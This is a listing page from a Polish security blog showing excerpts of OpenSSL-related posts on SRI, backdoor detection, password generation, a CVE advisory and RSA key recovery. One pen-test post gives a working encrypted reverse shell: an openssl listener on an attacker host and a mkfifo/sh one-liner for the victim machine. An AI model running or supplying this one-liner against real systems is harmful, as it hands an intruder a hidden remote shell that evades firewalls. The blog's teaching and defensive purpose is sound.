NFsec Logo

Subresource Integrity (SRI) dla skryptów JavaScript

21/10/2021 w Bezpieczeństwo Możliwość komentowania Subresource Integrity (SRI) dla skryptów JavaScript została wyłączona

C

iekawą funkcjonalność przeglądarek podesłał Maciej Kofel ze Szkoły SecuritySRI, czyli Subresource Intergrity, która umożliwia przeglądarkom weryfikację, czy pobierane przez nie zasoby (na przykład z zewnętrznych serwisów CDN) są dostarczane bez nieoczekiwanych manipulacji. Mechanizm ten działa na podstawie porównania skrótu kryptograficznego, który musi być zgodny z pobranym zasobem. Korzystanie z serwisów CDN do hostowania plików (skryptów JS, akruszy CSS) na swojej stronie może poprawić jej wydajność i oszczędzić przepustowość na serwerze. Jednak wiąże się również z ryzykiem, ponieważ jeśli atakujący przejmie kontrolę nad tym zasobem, może wstrzyknąć dowolną, złośliwą zawartość do plików (lub całkowicie zastąpić pliki), a tym samym potencjalnie zaatakować wszystkie witryny, które pobierają pliki z danego serwisu CDN.
[ czytaj całość… ]

Wykrywanie tylnych wejść do systemu Linux opartych o OpenSSL

24/05/2021 w Bezpieczeństwo Możliwość komentowania Wykrywanie tylnych wejść do systemu Linux opartych o OpenSSL została wyłączona

Z

nalezienie tylnego wejścia (ang. backdoor) uruchomionego w systemie Linux nie zawsze może być trywialne. Tylne furtki służą do interakcji atakującego z hostem w czasie rzeczywistym i są konsekwencją / kolejnym krokiem włamania do systemu. Sposród różnych backdoorów, które można wykorzystać w środowisku *nix jest bardzo dobrze znany bindshell, czyli powłoka, która nasłuchuje na określonym porcie TCP/IP. Uruchomi ona wszystko, co zostanie wysłane do tego portu i odpowie danymi wyjściowymi z przesłanych poleceń. Jej wariantem jest odwrócona powłoka (ang. reverse shell), ponieważ zamiast łączenia się atakującego z ofiarą, napastnik powoduje (np. poprzez podatną webaplikację), że to system ofiary łączy się do niego z powrotem. Dlaczego to takie ważne? Ponieważ większość funkcji filtrowania sieci jest skonfigurowana tak, aby szczegółowo blokować ruch przychodzący z internetu. Jednak bardzo często ruch wychodzący jest nieograniczony lub znacznie mniej filtrowany. Dlatego odwrócony bindshell jest świetnym sposobem na przeskakiwanie zapór ogniowych i innych mechanizmów ochrony.
[ czytaj całość… ]

Reverse shell z OpenSSL

23/02/2020 w Pen Test Możliwość komentowania Reverse shell z OpenSSL została wyłączona

Skoro wszędzie dzisiaj mamy szyfrowanie – wypada, aby powłoki zwrotne również były szyfrowane. W celu uruchomienia serwera do nasłuchu należy wygenerować klucz oraz certyfikat na maszynie (o IP: 1.2.3.4) służącej do ataku:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Odpalenie serwera:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \
| openssl s_client -quiet -connect 1.2.3.4:8080 > /tmp/s; rm /tmp/s

Więcej informacji: RevSSL

OpenSSL – sprawdzanie czy klucz pasuje do certyfikatu

10/05/2017 w CmdLineFu Możliwość komentowania OpenSSL – sprawdzanie czy klucz pasuje do certyfikatu została wyłączona

Jak sprawdzić, czy klucz prywatny pasuje do wydanego certyfikatu? Powinny posiadać identyczny skrót SHA256:

openssl rsa -noout -modulus -in kluczdomeny.key 2> /dev/null | sha256sum -
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -
openssl x509 -noout -modulus -in certyfikat.crt 2> /dev/null | sha256sum -
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -

Jeśli jest inaczej to znaczy, że coś poszło nie tak w procesie generowania certyfikatu lub pomyliliśmy pliki.

Jak wygenerować silne hasła jednorazowe w Linuksie?

18/02/2017 w CmdLineFu Możliwość komentowania Jak wygenerować silne hasła jednorazowe w Linuksie? została wyłączona

pwgen -sy 30
date +%s | sha256sum | base64 | head -c 30 ; echo
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-30}; echo;
gpg --gen-random --armor 1 30
openssl rand -base64 30

OpenSSL Denial of Service – CVE-2016-6304

23/09/2016 w Bezpieczeństwo Możliwość komentowania OpenSSL Denial of Service – CVE-2016-6304 została wyłączona

F

undacja OpenSSL wydała tuzin poprawek na wykryte podatności w swojej kryptograficznej bibliotece wliczając w to drastyczne błędy, które mogą prowadzić do przeprowadzenia ataków Denial-of-Service (DoS). Podatności istnieją w wersjach: 1.0.1, 1.0.2, 1.1.0 i zostały odpowiednio poprawione w: 1.0.1u, 1.0.2i oraz 1.1.0a. Pierwszy błąd zgłosił Shi Lei z chińskiej firmy ds. bezpieczeństwa Qihoo 360 – polega on na możliwości wysłania obszernych żądań typu „status” do rozszerzenia OCSP podczas negocjacji połączenia, co może spowodować wyczerpanie się pamięci na atakowanym serwerze. Drugą luką, która również umożliwia atak DoS jest przesłanie pustego rekordu do funkcji SSL_peek(), co spowoduje jej zawieszenie. Poza tym naprawiono dwanaście innych problemów niskiego ryzyka. Warto odnotować sobie, że wsparcie dla OpenSSL 1.0.1 kończy się 31 grudnia 2016 roku dlatego użytkownicy powinni zaktualizować swoje systemy do wyższej wersji w celu uniknięcia jakichkolwiek problemów z bezpieczeństwem w przyszłości.

Więcej informacji: OpenSSL OCSP Status Request extension unbounded memory growth (CVE-2016-6304), OpenSSL Security Advisory [22 Sep 2016]

Google Chrome 51 vs HTTP/2 na Linuksie

27/05/2016 w Administracja Możliwość komentowania Google Chrome 51 vs HTTP/2 na Linuksie została wyłączona

P

rzeglądarki Chrome oraz Chromium wraz z wydaniem wersji 51 przestały wspierać rozszerzenie protokołu TLS – NPN, który pozwalał na negocjację połączeń za pomocą protokołu SPDY i HTTP/2 z klientami. Mechanizm ten został zastąpiony ALPN. Dobrą decyzją jest przełączenie się z NPN na ALPN, ponieważ wiąże się z tym więcej korzyści niż strat, ale całkowite porzucenie NPN już decyzją dobrą nie jest.
[ czytaj całość… ]

Generator losowych haseł dowolnej długości

31/12/2015 w CmdLineFu Możliwość komentowania Generator losowych haseł dowolnej długości została wyłączona

darkstar:~ $ openssl rand -base64 48
TIsXtvV8GYVwLfmu/3QBSgjtYkMt0igSnptSutQaPzBPj5mG5hScYduUlvF7bEQv
darkstar:~ $ openssl rand -base64 8
g3hWwwomLIY=

Odtworzenie prywatnego klucza RSA

19/11/2014 w Bezpieczeństwo Możliwość komentowania Odtworzenie prywatnego klucza RSA została wyłączona

I

stnieje możliwość odzyskania prywatnego klucza RSA tylko na podstawie klucza publicznego. Ze względu na ograniczoną moc obliczeniową poniższy przykład zostanie zaprezentowany na 256 bitowym kluczu. Tak skromna długość kluczy raczej nie występuje już w Internecie, ale czasami można natknąć się jeszcze na 512 bitowe instalacje (aktualnie OpenSSH za pomocą programu ssh-keygen nie pozwala na wygenerowanie krótszego klucza niż 768 bitów).
[ czytaj całość… ]

OpenSSL w linii poleceń

14/06/2012 w Bezpieczeństwo Możliwość komentowania OpenSSL w linii poleceń została wyłączona

A

plikcja openssl, która jest dostarczana z biblioteką OpenSSL umożliwia wykorzystanie szerokiego wachlarzu kryptograficznych operacji. Staje się ona szczególnie przydatna w przypadku wykonywania pojedynczych zadań związanych z protokołem SSL. Program ten posiada bardzo obszerną dokumentację – dlatego poniżej postaram się przedstawić kilka praktycznych opcji i zastosowań tego programu. Zakładam, że w systemie jest już zainstalowany binarny pakiet tego oprogramowania i znajduje się w poprawnej ścieżce systemowej ($PATH).
[ czytaj całość… ]